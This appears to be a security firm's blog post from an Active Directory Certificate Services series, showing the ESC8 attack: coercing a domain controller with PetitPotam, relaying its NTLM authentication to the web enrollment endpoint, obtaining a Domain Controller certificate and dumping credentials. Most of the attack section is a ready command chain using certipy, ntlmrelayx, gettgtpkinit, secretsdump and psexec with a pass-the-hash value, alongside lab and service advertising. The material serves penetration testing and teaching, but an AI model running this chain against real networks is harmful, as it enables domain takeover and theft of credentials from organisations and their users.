Active Directory Certificate Attack: ESC8 – ADCS Web Enrollment

In PART 7 of this short ADCS series, we provided an overview of Active Directory Certificate Services and demonstrated ESC7, one of the escalation techniques. This post will walk you through ESC8, another critical escalation technique that leverages high-privileged permissions on Certificate Authority(CA).

ESC8 utilizes AD CS’s web enrollment interface feature. These optional features are often deployed alongside AD CS. However, due to their authentication handling, these web enrollment endpoints are vulnerable to NTLM relay attacks. In specific situations, a relay attack might not require domain credentials. For example, if the targeted host hasn’t been patched for CVE-2021-36942, an attacker on the network could use the Coercion technique.

Techniques and tools like PetitPotam force the victim machine to authenticate itself to the attacker’s host. This is achieved by exploiting the vulnerable API method OpenEncryptedFileRaw through the LSARPC (Local System Authority Remote Protocol) interface. Not all the web interfaces available from AD CS have HTTPS enabled, which is necessary to protect against NTLM relay attacks. Furthermore, the CA must have at least one certificate template published that allows for client authentication and domain computer enrollment. These endpoints are prime targets for attackers who want to relay NTLM authentication and elevate their access, including targeting a domain controller.

Stop reading about ADCS attacks — start doing them. Our ready-to-deploy ADCS OVA lab gives you a fully configured environment with realistic ADCS misconfigurations to exploit. Download, import, and start hacking in minutes.

  • Access to AD CS Environment: Access to a network where Active Directory Certificate Services are deployed, suggesting they likely already have a foothold.
  • User Account with Enrollment Rights: Account that has the rights to request certificates from AD CS
  • Certificate Authority (CA) Misconfigurations: The CA must have misconfigured or overly permissive certificate templates allowing users to request privilege escalation certificates.
certipy find -u pcoulson -p 'P4ssw0rd123456@' -dc-ip 192.168.115.180 -enabled
  1. The ESC8 attack does not exploit misconfigurations in certificate templates. Instead, it exploits the configuration of the Certificate Authority (CA) server.
  2. Active Directory Certificate Authorities vulnerable to ESC8 must meet the following conditions:

  • Request Disposition: Issue
  • Web Enrollment: Enabled
http http://csa.shield.local/certsrv/certfnsh.asp

The attack path can be summarized as follows:

  • We must coerce the victim machine SHIELD-DC4-CA@SHIELD.LOCAL (Windows Server—192.168.115.180) to authenticate to an attacker-controlled host (Kali machine—192.168.115.138).
  • We will need to relay the hash obtained from the victim to the ADCS HTTP endpoint
  • Next, we must request a certificate in the name of the coerced machine account.
  • Finally, authenticate with the obtained certificate to collect the NTLM hash of the victim machine.
Certificate Authorities with HTTP Web Enrollment (ESC8)
certipy relay -target csa.shield.local -template "DomainController"
python /opt/PetitPotam/PetitPotam.py 192.168.115.138 192.168.115.180
certipy auth -pfx dc4.pfx
export KRB5CCNAME=dc4.ccache
impacket-secretsdump dc4\$@dc4.shield.local -k -no-pass
impacket-psexec nfury@shield.local -hashes aad3b435b51404eeaad3b435b51404ee:175820fb0a1f00c1270ebffb51404eeee
#ADCS HTTP ENDPOINT = http://192.168.115.144/certsrv/certfnsh.asp

impacket-ntlmrelayx -t http://192.168.115.144/certsrv/certfnsh.asp -smb2 —-adcs --template 'Domain Controller'
python /opt/PetitPotam/PetitPotam.py 192.168.115.138 192.168.115.180
python /opt/PKINITtools/gettgtpkinit.py shield.local/DC4\$ -pfx-base64 $(cat cert.txt) dc4.ccache
export KRB5CCNAME=dc4.ccache
impacket-secretsdump dc4\$@dc4.shield.local -k -no-pass

Looking for a team to critically test your environment using real-world attack techniques? Explore RBT Security’s red team and penetration testing services.

  • Credentials from Password Stores – T1555
  • Steal or Forge Authentication Certificates – T1649
  • Pass The Hash – T1550.002
  • Steal or Forge Kerberos Tickets – T1558
  • Pass the Ticket – T1550.003
Share the Post:

Table of Contents

Subscribe To Our Blog

Light